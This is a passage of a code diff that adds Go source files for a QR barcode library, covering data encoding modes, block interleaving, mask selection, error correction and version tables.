res.AddBits(len(content), vi.charCountBits(alphaNumericMode))
encoder := stringToAlphaIdx(content)
for idx := 0; idx < len(content)/2; idx++ {
c1 := <-encoder
c2 := <-encoder
if c1 < 0 || c2 < 0 {
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
}
res.AddBits(c1*45+c2, 11)
}
if contentLenIsOdd {
c := <-encoder
if c < 0 {
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
}
res.AddBits(c, 6)
}
addPaddingAndTerminator(res, vi)
return res, vi, nil
}
+23
View File
@@ -0,0 +1,23 @@
package qr
import (
"fmt"
"github.com/boombuler/barcode/utils"
)
func encodeAuto(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
bits, vi, _ := Numeric.getEncoder()(content, ecl)
if bits != nil && vi != nil {
return bits, vi, nil
}
bits, vi, _ = AlphaNumeric.getEncoder()(content, ecl)
if bits != nil && vi != nil {
return bits, vi, nil
}
bits, vi, _ = Unicode.getEncoder()(content, ecl)
if bits != nil && vi != nil {
return bits, vi, nil
}
return nil, nil, fmt.Errorf("No encoding found to encode \"%s\"", content)
}
+59
View File
@@ -0,0 +1,59 @@
package qr
type block struct {
data []byte
ecc []byte
}
type blockList []*block
func splitToBlocks(data <-chan byte, vi *versionInfo) blockList {
result := make(blockList, vi.NumberOfBlocksInGroup1+vi.NumberOfBlocksInGroup2)
for b := 0; b < int(vi.NumberOfBlocksInGroup1); b++ {
blk := new(block)
blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup1)
for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup1); cw++ {
blk.data[cw] = <-data
}
blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
result[b] = blk
}
for b := 0; b < int(vi.NumberOfBlocksInGroup2); b++ {
blk := new(block)
blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup2)
for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup2); cw++ {
blk.data[cw] = <-data
}
blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
result[int(vi.NumberOfBlocksInGroup1)+b] = blk
}
return result
}
func (bl blockList) interleave(vi *versionInfo) []byte {
var maxCodewordCount int
if vi.DataCodeWordsPerBlockInGroup1 > vi.DataCodeWordsPerBlockInGroup2 {
maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup1)
} else {
maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup2)
}
resultLen := (vi.DataCodeWordsPerBlockInGroup1+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup1 +
(vi.DataCodeWordsPerBlockInGroup2+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup2
result := make([]byte, 0, resultLen)
for i := 0; i < maxCodewordCount; i++ {
for b := 0; b < len(bl); b++ {
if len(bl[b].data) > i {
result = append(result, bl[b].data[i])
}
}
}
for i := 0; i < int(vi.ErrorCorrectionCodewordsPerBlock); i++ {
for b := 0; b < len(bl); b++ {
result = append(result, bl[b].ecc[i])
}
}
return result
}
+416
View File
@@ -0,0 +1,416 @@
// Package qr can be used to create QR barcodes.
package qr
import (
"image"
"github.com/boombuler/barcode"
"github.com/boombuler/barcode/utils"
)
type encodeFn func(content string, eccLevel ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error)
// Encoding mode for QR Codes.
type Encoding byte
const (
// Auto will choose ths best matching encoding
Auto Encoding = iota
// Numeric encoding only encodes numbers [0-9]
Numeric
// AlphaNumeric encoding only encodes uppercase letters, numbers and [Space], $, %, *, +, -, ., /, :
AlphaNumeric
// Unicode encoding encodes the string as utf-8
Unicode
// only for testing purpose
unknownEncoding
)
func (e Encoding) getEncoder() encodeFn {
switch e {
case Auto:
return encodeAuto
case Numeric:
return encodeNumeric
case AlphaNumeric:
return encodeAlphaNumeric
case Unicode:
return encodeUnicode
}
return nil
}
func (e Encoding) String() string {
switch e {
case Auto:
return "Auto"
case Numeric:
return "Numeric"
case AlphaNumeric:
return "AlphaNumeric"
case Unicode:
return "Unicode"
}
return ""
}
// Encode returns a QR barcode with the given content, error correction level and uses the given encoding
func Encode(content string, level ErrorCorrectionLevel, mode Encoding) (barcode.Barcode, error) {
bits, vi, err := mode.getEncoder()(content, level)
if err != nil {
return nil, err
}
blocks := splitToBlocks(bits.IterateBytes(), vi)
data := blocks.interleave(vi)
result := render(data, vi)
result.content = content
return result, nil
}
func render(data []byte, vi *versionInfo) *qrcode {
dim := vi.modulWidth()
results := make([]*qrcode, 8)
for i := 0; i < 8; i++ {
results[i] = newBarcode(dim)
}
occupied := newBarcode(dim)
setAll := func(x int, y int, val bool) {
occupied.Set(x, y, true)
for i := 0; i < 8; i++ {
results[i].Set(x, y, val)
}
}
drawFinderPatterns(vi, setAll)
drawAlignmentPatterns(occupied, vi, setAll)
//Timing Pattern:
var i int
for i = 0; i < dim; i++ {
if !occupied.Get(i, 6) {
setAll(i, 6, i%2 == 0)
}
if !occupied.Get(6, i) {
setAll(6, i, i%2 == 0)
}
}
// Dark Module
setAll(8, dim-8, true)
drawVersionInfo(vi, setAll)
drawFormatInfo(vi, -1, occupied.Set)
for i := 0; i < 8; i++ {
drawFormatInfo(vi, i, results[i].Set)
}
// Write the data
var curBitNo int
for pos := range iterateModules(occupied) {
var curBit bool
if curBitNo < len(data)*8 {
curBit = ((data[curBitNo/8] >> uint(7-(curBitNo%8))) & 1) == 1
} else {
curBit = false
}
for i := 0; i < 8; i++ {
setMasked(pos.X, pos.Y, curBit, i, results[i].Set)
}
curBitNo++
}
lowestPenalty := ^uint(0)
lowestPenaltyIdx := -1
for i := 0; i < 8; i++ {
p := results[i].calcPenalty()
if p < lowestPenalty {
lowestPenalty = p
lowestPenaltyIdx = i
}
}
return results[lowestPenaltyIdx]
}
func setMasked(x, y int, val bool, mask int, set func(int, int, bool)) {
switch mask {
case 0:
val = val != (((y + x) % 2) == 0)
break
case 1:
val = val != ((y % 2) == 0)
break
case 2:
val = val != ((x % 3) == 0)
break
case 3:
val = val != (((y + x) % 3) == 0)
break
case 4:
val = val != (((y/2 + x/3) % 2) == 0)
break
case 5:
val = val != (((y*x)%2)+((y*x)%3) == 0)
break
case 6:
val = val != ((((y*x)%2)+((y*x)%3))%2 == 0)
break
case 7:
val = val != ((((y+x)%2)+((y*x)%3))%2 == 0)
}
set(x, y, val)
}
func iterateModules(occupied *qrcode) <-chan image.Point {
result := make(chan image.Point)
allPoints := make(chan image.Point)
go func() {
curX := occupied.dimension - 1
curY := occupied.dimension - 1
isUpward := true
for true {
if isUpward {
allPoints <- image.Pt(curX, curY)
allPoints <- image.Pt(curX-1, curY)
curY--
if curY < 0 {
curY = 0
curX -= 2
if curX == 6 {
curX--
}
if curX < 0 {
break
}
isUpward = false
}
} else {
allPoints <- image.Pt(curX, curY)
allPoints <- image.Pt(curX-1, curY)
curY++
if curY >= occupied.dimension {
curY = occupied.dimension - 1
curX -= 2
if curX == 6 {
curX--
}
isUpward = true
if curX < 0 {
break
}
}
}
}
close(allPoints)
}()
go func() {
for pt := range allPoints {
if !occupied.Get(pt.X, pt.Y) {
result <- pt
}
}
close(result)
}()
return result
}
func drawFinderPatterns(vi *versionInfo, set func(int, int, bool)) {
dim := vi.modulWidth()
drawPattern := func(xoff int, yoff int) {
for x := -1; x < 8; x++ {
for y := -1; y < 8; y++ {
val := (x == 0 || x == 6 || y == 0 || y == 6 || (x > 1 && x < 5 && y > 1 && y < 5)) && (x <= 6 && y <= 6 && x >= 0 && y >= 0)
if x+xoff >= 0 && x+xoff < dim && y+yoff >= 0 && y+yoff < dim {
set(x+xoff, y+yoff, val)
}
}
}
}
drawPattern(0, 0)
drawPattern(0, dim-7)
drawPattern(dim-7, 0)
}
func drawAlignmentPatterns(occupied *qrcode, vi *versionInfo, set func(int, int, bool)) {
drawPattern := func(xoff int, yoff int) {
for x := -2; x <= 2; x++ {
for y := -2; y <= 2; y++ {
val := x == -2 || x == 2 || y == -2 || y == 2 || (x == 0 && y == 0)
set(x+xoff, y+yoff, val)
}
}
}
positions := vi.alignmentPatternPlacements()
for _, x := range positions {
for _, y := range positions {
if occupied.Get(x, y) {
continue
}
drawPattern(x, y)
}
}
}
var formatInfos = map[ErrorCorrectionLevel]map[int][]bool{
L: {
0: []bool{true, true, true, false, true, true, true, true, true, false, false, false, true, false, false},
1: []bool{true, true, true, false, false, true, false, true, true, true, true, false, false, true, true},
2: []bool{true, true, true, true, true, false, true, true, false, true, false, true, false, true, false},
3: []bool{true, true, true, true, false, false, false, true, false, false, true, true, true, false, true},
4: []bool{true, true, false, false, true, true, false, false, false, true, false, true, true, true, true},
5: []bool{true, true, false, false, false, true, true, false, false, false, true, true, false, false, false},
6: []bool{true, true, false, true, true, false, false, false, true, false, false, false, false, false, true},
7: []bool{true, true, false, true, false, false, true, false, true, true, true, false, true, true, false},
},
M: {
0: []bool{true, false, true, false, true, false, false, false, false, false, true, false, false, true, false},
1: []bool{true, false, true, false, false, false, true, false, false, true, false, false, true, false, true},
2: []bool{true, false, true, true, true, true, false, false, true, true, true, true, true, false, false},
3: []bool{true, false, true, true, false, true, true, false, true, false, false, true, false, true, true},
4: []bool{true, false, false, false, true, false, true, true, true, true, true, true, false, false, true},
5: []bool{true, false, false, false, false, false, false, true, true, false, false, true, true, true, false},
6: []bool{true, false, false, true, true, true, true, true, false, false, true, false, true, true, true},
7: []bool{true, false, false, true, false, true, false, true, false, true, false, false, false, false, false},
},
Q: {
0: []bool{false, true, true, false, true, false, true, false, true, false, true, true, true, true, true},
1: []bool{false, true, true, false, false, false, false, false, true, true, false, true, false, false, false},
2: []bool{false, true, true, true, true, true, true, false, false, true, true, false, false, false, true},
3: []bool{false, true, true, true, false, true, false, false, false, false, false, false, true, true, false},
4: []bool{false, true, false, false, true, false, false, true, false, true, true, false, true, false, false},
5: []bool{false, true, false, false, false, false, true, true, false, false, false, false, false, true, true},
6: []bool{false, true, false, true, true, true, false, true, true, false, true, true, false, true, false},
7: []bool{false, true, false, true, false, true, true, true, true, true, false, true, true, false, true},
},
H: {
0: []bool{false, false, true, false, true, true, false, true, false, false, false, true, false, false, true},
1: []bool{false, false, true, false, false, true, true, true, false, true, true, true, true, true, false},
2: []bool{false, false, true, true, true, false, false, true, true, true, false, false, true, true, true},
3: []bool{false, false, true, true, false, false, true, true, true, false, true, false, false, false, false},
4: []bool{false, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
5: []bool{false, false, false, false, false, true, false, false, true, false, true, false, true, false, true},
6: []bool{false, false, false, true, true, false, true, false, false, false, false, true, true, false, false},
7: []bool{false, false, false, true, false, false, false, false, false, true, true, true, false, true, true},
},
}
func drawFormatInfo(vi *versionInfo, usedMask int, set func(int, int, bool)) {
var formatInfo []bool
if usedMask == -1 {
formatInfo = []bool{true, true, true, true, true, true, true, true, true, true, true, true, true, true, true} // Set all to true cause -1 --> occupied mask.
} else {
formatInfo = formatInfos[vi.Level][usedMask]
}
if len(formatInfo) == 15 {
dim := vi.modulWidth()
set(0, 8, formatInfo[0])
set(1, 8, formatInfo[1])
set(2, 8, formatInfo[2])
set(3, 8, formatInfo[3])
set(4, 8, formatInfo[4])
set(5, 8, formatInfo[5])
set(7, 8, formatInfo[6])
set(8, 8, formatInfo[7])
set(8, 7, formatInfo[8])
set(8, 5, formatInfo[9])
set(8, 4, formatInfo[10])
set(8, 3, formatInfo[11])
set(8, 2, formatInfo[12])
set(8, 1, formatInfo[13])
set(8, 0, formatInfo[14])
set(8, dim-1, formatInfo[0])
set(8, dim-2, formatInfo[1])
set(8, dim-3, formatInfo[2])
set(8, dim-4, formatInfo[3])
set(8, dim-5, formatInfo[4])
set(8, dim-6, formatInfo[5])
set(8, dim-7, formatInfo[6])
set(dim-8, 8, formatInfo[7])
set(dim-7, 8, formatInfo[8])
set(dim-6, 8, formatInfo[9])
set(dim-5, 8, formatInfo[10])
set(dim-4, 8, formatInfo[11])
set(dim-3, 8, formatInfo[12])
set(dim-2, 8, formatInfo[13])
set(dim-1, 8, formatInfo[14])
}
}
var versionInfoBitsByVersion = map[byte][]bool{
7: []bool{false, false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false},
8: []bool{false, false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false},
9: []bool{false, false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true},
10: []bool{false, false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true},
11: []bool{false, false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false},
12: []bool{false, false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
13: []bool{false, false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true},
14: []bool{false, false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true},
15: []bool{false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false},
16: []bool{false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false},
17: []bool{false, true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true},
18: []bool{false, true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true},
19: []bool{false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false},
20: []bool{false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true, false},
21: []bool{false, true, false, true, false, true, false, true, true, false, true, false, false, false, false, false, true, true},
22: []bool{false, true, false, true, true, false, true, false, false, false, true, true, false, false, true, false, false, true},
23: []bool{false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false, false},
24: []bool{false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false, false},
25: []bool{false, true, true, false, false, true, false, false, false, true, true, true, true, false, false, false, false, true},
26: []bool{false, true, true, false, true, false, true, true, true, true, true, false, true, false, true, false, true, true},
27: []bool{false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true, false},
28: []bool{false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true, false},
29: []bool{false, true, true, true, false, true, false, false, true, true, false, false, true, true, true, true, true, true},
30: []bool{false, true, true, true, true, false, true, true, false, true, false, true, true, true, false, true, false, true},
31: []bool{false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false, false},
32: []bool{true, false, false, false, false, false, true, false, false, true, true, true, false, true, false, true, false, true},
33: []bool{true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false, false},
34: []bool{true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true, false},
35: []bool{true, false, false, false, true, true, false, true, true, true, true, false, false, true, true, true, true, true},
36: []bool{true, false, false, true, false, false, true, false, true, true, false, false, false, false, true, false, true, true},
37: []bool{true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true, false},
38: []bool{true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false, false},
39: []bool{true, false, false, true, true, true, false, true, false, true, false, true, false, false, false, false, false, true},
40: []bool{true, false, true, false, false, false, true, true, false, false, false, true, true, false, true, false, false, true},
}
func drawVersionInfo(vi *versionInfo, set func(int, int, bool)) {
versionInfoBits, ok := versionInfoBitsByVersion[vi.Version]
if ok && len(versionInfoBits) > 0 {
for i := 0; i < len(versionInfoBits); i++ {
x := (vi.modulWidth() - 11) + i%3
y := i / 3
set(x, y, versionInfoBits[len(versionInfoBits)-i-1])
set(y, x, versionInfoBits[len(versionInfoBits)-i-1])
}
}
}
func addPaddingAndTerminator(bl *utils.BitList, vi *versionInfo) {
for i := 0; i < 4 && bl.Len() < vi.totalDataBytes()*8; i++ {
bl.AddBit(false)
}
for bl.Len()%8 != 0 {
bl.AddBit(false)
}
for i := 0; bl.Len() < vi.totalDataBytes()*8; i++ {
if i%2 == 0 {
bl.AddByte(236)
} else {
bl.AddByte(17)
}
}
}
+29
View File
@@ -0,0 +1,29 @@
package qr
import (
"github.com/boombuler/barcode/utils"
)
type errorCorrection struct {
rs *utils.ReedSolomonEncoder
}
var ec = newErrorCorrection()
func newErrorCorrection() *errorCorrection {
fld := utils.NewGaloisField(285, 256, 0)
return &errorCorrection{utils.NewReedSolomonEncoder(fld)}
}
func (ec *errorCorrection) calcECC(data []byte, eccCount byte) []byte {
dataInts := make([]int, len(data))
for i := 0; i < len(data); i++ {
dataInts[i] = int(data[i])
}
res := ec.rs.Encode(dataInts, int(eccCount))
result := make([]byte, len(res))
for i := 0; i < len(res); i++ {
result[i] = byte(res[i])
}
return result
}
+56
View File
@@ -0,0 +1,56 @@
package qr
import (
"errors"
"fmt"
"strconv"
"github.com/boombuler/barcode/utils"
)
func encodeNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
contentBitCount := (len(content) / 3) * 10
switch len(content) % 3 {
case 1:
contentBitCount += 4
case 2:
contentBitCount += 7
}
vi := findSmallestVersionInfo(ecl, numericMode, contentBitCount)
if vi == nil {
return nil, nil, errors.New("To much data to encode")
}
res := new(utils.BitList)
res.AddBits(int(numericMode), 4)
res.AddBits(len(content), vi.charCountBits(numericMode))
for pos := 0; pos < len(content); pos += 3 {
var curStr string
if pos+3 <= len(content) {
curStr = content[pos : pos+3]
} else {
curStr = content[pos:]
}
i, err := strconv.Atoi(curStr)
if err != nil || i < 0 {
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, Numeric)
}
var bitCnt byte
switch len(curStr) % 3 {
case 0:
bitCnt = 10
case 1:
bitCnt = 4
break
case 2:
bitCnt = 7
break
}
res.AddBits(i, bitCnt)
}
addPaddingAndTerminator(res, vi)
return res, vi, nil
}
+166
View File
@@ -0,0 +1,166 @@
package qr
import (
"image"
"image/color"
"math"
"github.com/boombuler/barcode"
"github.com/boombuler/barcode/utils"
)
type qrcode struct {
dimension int
data *utils.BitList
content string
}
func (qr *qrcode) Content() string {
return qr.content
}
func (qr *qrcode) Metadata() barcode.Metadata {
return barcode.Metadata{barcode.TypeQR, 2}
}
func (qr *qrcode) ColorModel() color.Model {
return color.Gray16Model
}
func (qr *qrcode) Bounds() image.Rectangle {
return image.Rect(0, 0, qr.dimension, qr.dimension)
}
func (qr *qrcode) At(x, y int) color.Color {
if qr.Get(x, y) {
return color.Black
}
return color.White
}
func (qr *qrcode) Get(x, y int) bool {
return qr.data.GetBit(x*qr.dimension + y)
}
func (qr *qrcode) Set(x, y int, val bool) {
qr.data.SetBit(x*qr.dimension+y, val)
}
func (qr *qrcode) calcPenalty() uint {
return qr.calcPenaltyRule1() + qr.calcPenaltyRule2() + qr.calcPenaltyRule3() + qr.calcPenaltyRule4()
}
func (qr *qrcode) calcPenaltyRule1() uint {
var result uint
for x := 0; x < qr.dimension; x++ {
checkForX := false
var cntX uint
checkForY := false
var cntY uint
for y := 0; y < qr.dimension; y++ {
if qr.Get(x, y) == checkForX {
cntX++
} else {
checkForX = !checkForX
if cntX >= 5 {
result += cntX - 2
}
cntX = 1
}
if qr.Get(y, x) == checkForY {
cntY++
} else {
checkForY = !checkForY
if cntY >= 5 {
result += cntY - 2
}
cntY = 1
}
}
if cntX >= 5 {
result += cntX - 2
}
if cntY >= 5 {
result += cntY - 2
}
}
return result
}
func (qr *qrcode) calcPenaltyRule2() uint {
var result uint
for x := 0; x < qr.dimension-1; x++ {
for y := 0; y < qr.dimension-1; y++ {
check := qr.Get(x, y)
if qr.Get(x, y+1) == check && qr.Get(x+1, y) == check && qr.Get(x+1, y+1) == check {
result += 3
}
}
}
return result
}
func (qr *qrcode) calcPenaltyRule3() uint {
pattern1 := []bool{true, false, true, true, true, false, true, false, false, false, false}
pattern2 := []bool{false, false, false, false, true, false, true, true, true, false, true}
var result uint
for x := 0; x <= qr.dimension-len(pattern1); x++ {
for y := 0; y < qr.dimension; y++ {
pattern1XFound := true
pattern2XFound := true
pattern1YFound := true
pattern2YFound := true
for i := 0; i < len(pattern1); i++ {
iv := qr.Get(x+i, y)
if iv != pattern1[i] {
pattern1XFound = false
}
if iv != pattern2[i] {
pattern2XFound = false
}
iv = qr.Get(y, x+i)
if iv != pattern1[i] {
pattern1YFound = false
}
if iv != pattern2[i] {
pattern2YFound = false
}
}
if pattern1XFound || pattern2XFound {
result += 40
}
if pattern1YFound || pattern2YFound {
result += 40
}
}
}
return result
}
func (qr *qrcode) calcPenaltyRule4() uint {
totalNum := qr.data.Len()
trueCnt := 0
for i := 0; i < totalNum; i++ {
if qr.data.GetBit(i) {
trueCnt++
}
}
percDark := float64(trueCnt) * 100 / float64(totalNum)
floor := math.Abs(math.Floor(percDark/5) - 10)
ceil := math.Abs(math.Ceil(percDark/5) - 10)
return uint(math.Min(floor, ceil) * 10)
}
func newBarcode(dim int) *qrcode {
res := new(qrcode)
res.dimension = dim
res.data = utils.NewBitList(dim * dim)
return res
}
+27
View File
@@ -0,0 +1,27 @@
package qr
import (
"errors"
"github.com/boombuler/barcode/utils"
)
func encodeUnicode(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
data := []byte(content)
vi := findSmallestVersionInfo(ecl, byteMode, len(data)*8)
if vi == nil {
return nil, nil, errors.New("To much data to encode")
}
// It's not correct to add the unicode bytes to the result directly but most readers can't handle the
// required ECI header...
res := new(utils.BitList)
res.AddBits(int(byteMode), 4)
res.AddBits(len(content), vi.charCountBits(byteMode))
for _, b := range data {
res.AddByte(b)
}
addPaddingAndTerminator(res, vi)
return res, vi, nil
}
+310
View File
@@ -0,0 +1,310 @@
package qr
import "math"
// ErrorCorrectionLevel indicates the amount of "backup data" stored in the QR code
type ErrorCorrectionLevel byte
const (
// L recovers 7% of data
L ErrorCorrectionLevel = iota
// M recovers 15% of data
M
// Q recovers 25% of data
Q
// H recovers 30% of data
H
)
func (ecl ErrorCorrectionLevel) String() string {
switch ecl {
case L:
return "L"
case M:
return "M"
case Q:
return "Q"
case H:
return "H"
}
return "unknown"
}
type encodingMode byte
const (
numericMode encodingMode = 1
alphaNumericMode encodingMode = 2
byteMode encodingMode = 4
kanjiMode encodingMode = 8
)
type versionInfo struct {
Version byte
Level ErrorCorrectionLevel
ErrorCorrectionCodewordsPerBlock byte
NumberOfBlocksInGroup1 byte
DataCodeWordsPerBlockInGroup1 byte
NumberOfBlocksInGroup2 byte
DataCodeWordsPerBlockInGroup2 byte
}
var versionInfos = []*versionInfo{
&versionInfo{1, L, 7, 1, 19, 0, 0},
&versionInfo{1, M, 10, 1, 16, 0, 0},
&versionInfo{1, Q, 13, 1, 13, 0, 0},
&versionInfo{1, H, 17, 1, 9, 0, 0},
&versionInfo{2, L, 10, 1, 34, 0, 0},
&versionInfo{2, M, 16, 1, 28, 0, 0},
&versionInfo{2, Q, 22, 1, 22, 0, 0},
&versionInfo{2, H, 28, 1, 16, 0, 0},
&versionInfo{3, L, 15, 1, 55, 0, 0},
&versionInfo{3, M, 26, 1, 44, 0, 0},
&versionInfo{3, Q, 18, 2, 17, 0, 0},
&versionInfo{3, H, 22, 2, 13, 0, 0},
&versionInfo{4, L, 20, 1, 80, 0, 0},
&versionInfo{4, M, 18, 2, 32, 0, 0},
&versionInfo{4, Q, 26, 2, 24, 0, 0},
&versionInfo{4, H, 16, 4, 9, 0, 0},
&versionInfo{5, L, 26, 1, 108, 0, 0},
&versionInfo{5, M, 24, 2, 43, 0, 0},
&versionInfo{5, Q, 18, 2, 15, 2, 16},
&versionInfo{5, H, 22, 2, 11, 2, 12},
&versionInfo{6, L, 18, 2, 68, 0, 0},
&versionInfo{6, M, 16, 4, 27, 0, 0},
&versionInfo{6, Q, 24, 4, 19, 0, 0},
&versionInfo{6, H, 28, 4, 15, 0, 0},
&versionInfo{7, L, 20, 2, 78, 0, 0},
&versionInfo{7, M, 18, 4, 31, 0, 0},
&versionInfo{7, Q, 18, 2, 14, 4, 15},
&versionInfo{7, H, 26, 4, 13, 1, 14},
&versionInfo{8, L, 24, 2, 97, 0, 0},
&versionInfo{8, M, 22, 2, 38, 2, 39},
&versionInfo{8, Q, 22, 4, 18, 2, 19},
&versionInfo{8, H, 26, 4, 14, 2, 15},
&versionInfo{9, L, 30, 2, 116, 0, 0},
&versionInfo{9, M, 22, 3, 36, 2, 37},
&versionInfo{9, Q, 20, 4, 16, 4, 17},
&versionInfo{9, H, 24, 4, 12, 4, 13},
&versionInfo{10, L, 18, 2, 68, 2, 69},
&versionInfo{10, M, 26, 4, 43, 1, 44},
&versionInfo{10, Q, 24, 6, 19, 2, 20},
&versionInfo{10, H, 28, 6, 15, 2, 16},
&versionInfo{11, L, 20, 4, 81, 0, 0},
&versionInfo{11, M, 30, 1, 50, 4, 51},
&versionInfo{11, Q, 28, 4, 22, 4, 23},
&versionInfo{11, H, 24, 3, 12, 8, 13},
&versionInfo{12, L, 24, 2, 92, 2, 93},
&versionInfo{12, M, 22, 6, 36, 2, 37},
&versionInfo{12, Q, 26, 4, 20, 6, 21},
&versionInfo{12, H, 28, 7, 14, 4, 15},
&versionInfo{13, L, 26, 4, 107, 0, 0},
&versionInfo{13, M, 22, 8, 37, 1, 38},
&versionInfo{13, Q, 24, 8, 20, 4, 21},
&versionInfo{13, H, 22, 12, 11, 4, 12},
&versionInfo{14, L, 30, 3, 115, 1, 116},
&versionInfo{14, M, 24, 4, 40, 5, 41},
&versionInfo{14, Q, 20, 11, 16, 5, 17},
&versionInfo{14, H, 24, 11, 12, 5, 13},
&versionInfo{15, L, 22, 5, 87, 1, 88},
&versionInfo{15, M, 24, 5, 41, 5, 42},
&versionInfo{15, Q, 30, 5, 24, 7, 25},
&versionInfo{15, H, 24, 11, 12, 7, 13},
&versionInfo{16, L, 24, 5, 98, 1, 99},
&versionInfo{16, M, 28, 7, 45, 3, 46},
&versionInfo{16, Q, 24, 15, 19, 2, 20},
&versionInfo{16, H, 30, 3, 15, 13, 16},
&versionInfo{17, L, 28, 1, 107, 5, 108},
&versionInfo{17, M, 28, 10, 46, 1, 47},
&versionInfo{17, Q, 28, 1, 22, 15, 23},
&versionInfo{17, H, 28, 2, 14, 17, 15},
&versionInfo{18, L, 30, 5, 120, 1, 121},
&versionInfo{18, M, 26, 9, 43, 4, 44},
&versionInfo{18, Q, 28, 17, 22, 1, 23},
&versionInfo{18, H, 28, 2, 14, 19, 15},
&versionInfo{19, L, 28, 3, 113, 4, 114},
&versionInfo{19, M, 26, 3, 44, 11, 45},
&versionInfo{19, Q, 26, 17, 21, 4, 22},
&versionInfo{19, H, 26, 9, 13, 16, 14},
&versionInfo{20, L, 28, 3, 107, 5, 108},
&versionInfo{20, M, 26, 3, 41, 13, 42},
&versionInfo{20, Q, 30, 15, 24, 5, 25},
&versionInfo{20, H, 28, 15, 15, 10, 16},
&versionInfo{21, L, 28, 4, 116, 4, 117},
&versionInfo{21, M, 26, 17, 42, 0, 0},
&versionInfo{21, Q, 28, 17, 22, 6, 23},
&versionInfo{21, H, 30, 19, 16, 6, 17},
&versionInfo{22, L, 28, 2, 111, 7, 112},
&versionInfo{22, M, 28, 17, 46, 0, 0},
&versionInfo{22, Q, 30, 7, 24, 16, 25},
&versionInfo{22, H, 24, 34, 13, 0, 0},
&versionInfo{23, L, 30, 4, 121, 5, 122},
&versionInfo{23, M, 28, 4, 47, 14, 48},
&versionInfo{23, Q, 30, 11, 24, 14, 25},
&versionInfo{23, H, 30, 16, 15, 14, 16},
&versionInfo{24, L, 30, 6, 117, 4, 118},
&versionInfo{24, M, 28, 6, 45, 14, 46},
&versionInfo{24, Q, 30, 11, 24, 16, 25},
&versionInfo{24, H, 30, 30, 16, 2, 17},
&versionInfo{25, L, 26, 8, 106, 4, 107},
&versionInfo{25, M, 28, 8, 47, 13, 48},
&versionInfo{25, Q, 30, 7, 24, 22, 25},
&versionInfo{25, H, 30, 22, 15, 13, 16},
&versionInfo{26, L, 28, 10, 114, 2, 115},
&versionInfo{26, M, 28, 19, 46, 4, 47},
&versionInfo{26, Q, 28, 28, 22, 6, 23},
&versionInfo{26, H, 30, 33, 16, 4, 17},
&versionInfo{27, L, 30, 8, 122, 4, 123},
&versionInfo{27, M, 28, 22, 45, 3, 46},
&versionInfo{27, Q, 30, 8, 23, 26, 24},
&versionInfo{27, H, 30, 12, 15, 28, 16},
&versionInfo{28, L, 30, 3, 117, 10, 118},
&versionInfo{28, M, 28, 3, 45, 23, 46},
&versionInfo{28, Q, 30, 4, 24, 31, 25},
&versionInfo{28, H, 30, 11, 15, 31, 16},
&versionInfo{29, L, 30, 7, 116, 7, 117},
&versionInfo{29, M, 28, 21, 45, 7, 46},
&versionInfo{29, Q, 30, 1, 23, 37, 24},
&versionInfo{29, H, 30, 19, 15, 26, 16},
&versionInfo{30, L, 30, 5, 115, 10, 116},
&versionInfo{30, M, 28, 19, 47, 10, 48},
&versionInfo{30, Q, 30, 15, 24, 25, 25},
&versionInfo{30, H, 30, 23, 15, 25, 16},
&versionInfo{31, L, 30, 13, 115, 3, 116},
&versionInfo{31, M, 28, 2, 46, 29, 47},
&versionInfo{31, Q, 30, 42, 24, 1, 25},
&versionInfo{31, H, 30, 23, 15, 28, 16},
&versionInfo{32, L, 30, 17, 115, 0, 0},
&versionInfo{32, M, 28, 10, 46, 23, 47},
&versionInfo{32, Q, 30, 10, 24, 35, 25},
&versionInfo{32, H, 30, 19, 15, 35, 16},
&versionInfo{33, L, 30, 17, 115, 1, 116},
&versionInfo{33, M, 28, 14, 46, 21, 47},
&versionInfo{33, Q, 30, 29, 24, 19, 25},
&versionInfo{33, H, 30, 11, 15, 46, 16},
&versionInfo{34, L, 30, 13, 115, 6, 116},
&versionInfo{34, M, 28, 14, 46, 23, 47},
&versionInfo{34, Q, 30, 44, 24, 7, 25},
&versionInfo{34, H, 30, 59, 16, 1, 17},
&versionInfo{35, L, 30, 12, 121, 7, 122},
